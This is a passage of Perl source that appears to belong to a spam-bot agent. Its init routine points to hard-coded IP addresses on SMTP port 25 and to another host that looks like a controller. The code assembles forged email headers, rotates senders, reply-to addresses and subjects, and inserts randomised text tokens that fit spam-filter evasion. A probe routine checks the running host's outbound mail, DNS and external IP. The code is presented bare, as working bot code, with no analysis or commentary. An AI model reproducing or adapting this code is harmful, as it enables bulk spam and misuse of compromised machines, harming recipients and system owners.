last if !length $resp;
$buffer .= $resp;
}
unless ($text == length $buffer)
{
close $socket;
return;
}
}
else
{
close $socket;
return;
}
close $socket;
return if !defined $buffer || !length $buffer;
}
($resp, $text) = &nsparser(\$buffer, $offset, $packid, $type);
return !$resp ? $text : undef;
}
sub mail
{
my $line = shift;
return if !defined $$line || $$line !~ /^[^\@]+\@[^\@]+\.[^\@]+$/;
my ($name, $mail, $info) = $$line =~ /\s*(.*?)[\s\|<]*([^\s|<]+\@[^>\|\s]+)>*(.*)$/;
return if !$mail;
$info =~ s/.*?\|[\s\|]*(.+?)[\s\|]*$/$1/ if length $info;
return (\$mail, \$name, \$info); }
sub init {
&main('194.54.81.163', 25, '/', '194.54.81.162');
&main('194.54.81.164', 25, '/', '194.54.81.162'); }
sub data {
my ($to, $from, $b) = @_;
my $time = time;
my $zone = sprintf ("%s%02d00", $b->{timezone}[0], $b->{timezone}[1]);
my $date = localtime $time; $date =~ s/^(\w+)\s+(\w+)\s+(\d+)\s+(\d+):(\d+):(\d+)\s+(\d+)$/sprintf "$1, $3 $2 $7 $4:$5:$6 %s", $zone/e;
my $wday = {Mon => "Monday", Tue => "Tuesday", Wed => "Wednesday", Thu => "Thursday", Fri => "Friday", Sat => "Saturday", Sun => "Sunday"}->{$1};
my $nmon = {Jan => 1, Feb => 2, Mar => 3, Apr => 4, May => 5, Jun => 6, Jul => 7, Aug => 8, Sep => 9, Oct => 10, Nov => 11, Dec => 12}->{$2};
my $tmon = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]->[$nmon - 1];
my $ampm = "AM"; my $hour = int $4; $ampm = "PM" if $hour == 12; $hour = 12 if $hour == 0; if ($hour > 12) { $ampm = "PM"; $hour -= 12; }
$date =
{
DATE    => $date,
WWWW    => $wday,
WWW     => $1,
DD      => sprintf ("%02d", $3),
D       => $3,
MMMM    => $tmon,
MMM     => $2,
MM      => sprintf ("%02d", $nmon),
M       => $nmon,
YYYY    => $7,
YY      => substr ($7, -2),
Z       => $zone,
TT      => $ampm,
tt      => lc $ampm,
HH      => $4,
H       => int $4,
hh      => sprintf ("%02d", $hour),
h       => $hour,
mm      => $5,
m       => int $5,
ss      => $6,
s       => int $6
};
my ($mail, $name) = &mail(\$from);
my ($user, $host) = split (/\@/, $$mail);
$from = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
my $replyto = $from;
if ($b->{from}[0] ne $b->{replyto}[0])
{
($mail, $name) = &mail(\@{$b->{replyto}}[int rand scalar @{$b->{replyto}}]);
($user, $host) = split (/\@/, $$mail);
$replyto = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
}
if ($b->{method} == 0)
{
#
@_ = ();
foreach (@$to) { ($mail, $name) = &mail(\$_); $_ = length $$name ? "$$name <$$mail>" : "<$$mail>"; push @_, $_; }
($user, $host) = split (/\@/, $$mail);
$to = {ADDR => join (",\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20", @_), NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
}
else
{
#
($mail, $name) = &mail(\$to->[0]);
($user, $host) = split (/\@/, $$mail);
$to = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
}
my $head =
{
HELO        => $b->{helo},
TYPE        => $b->{type} ? "html" : "plain",
SUBJECT     => @{$b->{subject}}[int rand scalar @{$b->{subject}}],
CHARSET     => $b->{charset},
ENCODING    => $b->{charset} eq "windows-1251" ? "8bit" : "7bit",
NPRIORITY   => (5 - $b->{priority} * $b->{priority} - ($b->{priority} == 1 ? 1 : 0)),
TPRIORITY   => ["Low", "Normal", "High"]->[$b->{priority}],
MESSAGEID   => sprintf ("%08x\.%04x%04x", int ($time * 0.0023283064365387 + 27111902.8329849), int rand 32769, int rand 32769)
};
my $letter = length $b->{letter} ? sprintf ("%s%s%s", $b->{header}, "\x0D\x0A\x0D\x0A", $b->{letter}) : $b->{header};
$letter =~ s/\%$_\%/$head->{$_}/g foreach (keys %$head);
$letter =~ s/\%$_\%/$date->{$_}/g foreach (keys %$date);
$letter =~ s/\%FROM$_\%/$from->{$_}/g foreach (keys %$from);
$letter =~ s/\%REPLYTO$_\%/$replyto->{$_}/g foreach (keys %$replyto);
$letter =~ s/\%TO$_\%/$to->{$_}/g foreach (keys %$to);
&tag(\$letter);
if (!length $b->{letter})
{
$letter =~ s/\x0D//gm;
$letter =~ s/\x0A/\x0D\x0A/gm;
}
return $letter;
}
#
sub quoted ($)
{
my $line = shift;
$line =~ s/([^ \t\x0D\x0A!"#\$%&'()*+,\-.\/0-9:;<>?\@A-Z[\\\]^_`a-z{|}~])/sprintf ("=%02X", ord ($1))/eg;
$line =~ s/([ \t]+)$/join ("", map {sprintf ("=%02X", ord ($_))} split ("", $1))/egm;
my $lines = "";
$lines .= "$1=\x0D\x0A" while $line =~ s/(.*?^[^\x0D\x0A]{71}(?:[^=\x0D\x0A]{2}(?![^=\x0D\x0A]{0,1}$)|[^=\x0D\x0A](?![^=\x0D\x0A]{0,2}$)|(?![^=\x0D\x0A]{0,3}$)))//xsm;
$lines .= $line;
return $lines;
}
#
sub tag
{
my $line = shift;
my $save = [];
$$line =~ s/\[random\]([^\[]*)\[\/random\]({\d+,\d+})?(\((\d+)\))?/&tagrandom($1, $2, $4, \$save)/eg;
$$line =~ s/\[string\]([^\[]*)\[\/string\](\((\d+)\))?/&tagstring($1, $3, \$save)/eg;
$$line =~ s/\%\[(\d+)\]/$1 < 64 && defined $save->[$1] ? $save->[$1] : ""/eg;
$$line =~ s/\[quot\](.*?)\[\/quot\]/&quoted($1)/egs;
}
#
sub tagrandom
{
my ($line, $spec, $cell, $save) = @_;
if (defined $line && length $line)
{
if (defined $spec && $spec =~ /^{(\d+),(\d+)}$/)
{
$spec = $2 > 64 ? 64 : $2;
$spec = $1 < $spec ? ($1 + int rand (1 + $spec - $1)) : $spec;
}
else
{
$spec = length $line;
$spec = 1 + ($spec > 64 ? int rand 64 : int rand $spec);
}
$line = [split (//, $line)];
$line = join ('', @$line[map {rand @$line}(1..$spec)]);
}
$line = defined $line ? $line : "";
$$save->[$cell] = $line if defined $cell && $cell < 64;
return $line;
}
#
sub tagstring
{
my ($line, $cell, $save) = @_;
if (defined $line && length $line)
{
$line = [split (/\|/, $line)];
$line = $line->[int rand scalar @$line];
}
$line = defined $line ? $line : "";
$$save->[$cell] = $line if defined $cell && $cell < 64;
return $line;
}
sub test
{
while (1)
{
my $readers = IO::Select->new() or last;
my $writers = IO::Select->new() or last;
my $session = {};
foreach my $result (keys %$test)
{
while (1 < scalar @{$test->{$result}})
{
my $host = pop @{$test->{$result}};
my $addr = gethostbyname $host;
next unless $addr;
my ($protocol, $port);
if ($result eq "ip")
{
($protocol, $port) = ("tcp", 80);
}
else
{
($protocol, $port) = $result =~ /^(tcp|udp)(\d+)$/;
}
$addr = sockaddr_in($port, $addr);
my $socket = $protocol eq "tcp" ? IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM) : IO::Socket::INET->new(Proto => "udp");
next unless $socket;
if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }
if ($protocol eq "tcp")
{
unless ($socket->connect($addr))
{
if ($! != $E_INPROGRESS && $! != $E_WOULDBLOCK)
{
close $socket;
next;
}
}
}
$writers->add($socket);
$session->{$socket} = {status => $protocol eq "tcp" ? "cn" : "wr", buffer => "", timeout => 5, result => $result, addr => $addr};
if ($port == 53)
{
$session->{$socket}{buffer} .= pack ("nSn4", int rand 65535, 1, 1, 0, 0, 0);
$session->{$socket}{buffer} .= pack ("C", length $_) . $_ for (split (/\./, $host));
$session->{$socket}{buffer} .= pack ("Cn2", 0, 1, 1);
$session->{$socket}{buffer} = join ("", pack ("n", length $session->{$socket}{buffer}), $session->{$socket}{buffer}) if $protocol eq "tcp";
}
elsif ($port == 80)
{
$session->{$socket}{buffer} = join ("\x0D\x0A", "GET / HTTP/1.1", "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*", "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", "Host: $host", "Connection: close", "Cache-Control: no-cache", "\x0D\x0A");
}
}
}
$session->{$_}{timeout} += time foreach (keys %$session);
while ($readers->count() || $writers->count())
{
my $time = time;
my $writable = (IO::Select->select(undef, $writers, undef, 0))[1];
foreach my $handle (@$writable)
{
if ($session->{$handle}{status} eq "cn")
{
if ($handle->connected)
{
if ($session->{$handle}{result} eq "tcp25")
{
$session->{$handle}{status} = "rd";
$readers->add($handle);
$writers->remove($handle);
}
else
{
$session->{$handle}{status} = "wr";
}
}
else
{
$session->{$handle}{timeout} = 0;
}
}
else
{
my $result;
if ($session->{$handle}{result} eq "udp53")
{
$result = $handle->send($session->{$handle}{buffer}, 0, $session->{$handle}{addr});
}
elsif ($session->{$handle}{result} eq "tcp53")
{
$result = $handle->send($session->{$handle}{buffer});
}
else
{
$result = syswrite ($handle, $session->{$handle}{buffer});
}
if (defined $result && $result > 0)
{
substr ($session->{$handle}{buffer}, 0, $result) = "";
if (length $session->{$handle}{buffer} < 1)
{
$session->{$handle}{status} = "rd";
$readers->add($handle);
$writers->remove($handle);
}
}
elsif ($! == $E_WOULDBLOCK)
{
next;
}
else
{
$session->{$handle}{timeout} = 0;
}
}
}
my $readable = (IO::Select->select($readers, undef, undef, 0))[0];
foreach my $handle (@$readable)
{
my $result;
if ($session->{$handle}{result} eq "udp53")
{
$result = $handle->recv($session->{$handle}{buffer}, 512);
$result = length $session->{$handle}{buffer} if defined $result;
}
elsif ($session->{$handle}{result} eq "tcp53")
{
$result = $handle->recv($session->{$handle}{buffer}, 2);
$result = length $session->{$handle}{buffer} if defined $result;
}
else
{
$result = sysread ($handle, $session->{$handle}{buffer}, 8192, length $session->{$handle}{buffer});
}
if (defined $result)
{
if ($session->{$handle}{result} eq "ip")
{
if ($test->{$session->{$handle}{result}}[0] eq "0.0.0.0")
{
if ($session->{$handle}{buffer} =~ /(\d+\.\d+\.\d+\.\d+)/)
{
$test->{$session->{$handle}{result}}[0] = $1;
$session->{$handle}{timeout} = 0;
}
else
{
next;
}
}
else
{
$session->{$handle}{timeout} = 0;
}
}
else
{
$test->{$session->{$handle}{result}}[0] = 1 if $result > 0;
$session->{$handle}{timeout} = 0;
}
}
elsif ($! == $E_WOULDBLOCK)
{
next;
}
else
{
$session->{$handle}{timeout} = 0;
}
}
foreach my $handle ($writers->handles, $readers->handles)
{
if ($time >= $session->{$handle}{timeout})
{
$readers->remove($handle) if $readers->exists($handle);
$writers->remove($handle) if $writers->exists($handle);
delete $session->{$handle};
close $handle;
}
}
}
last;
}
}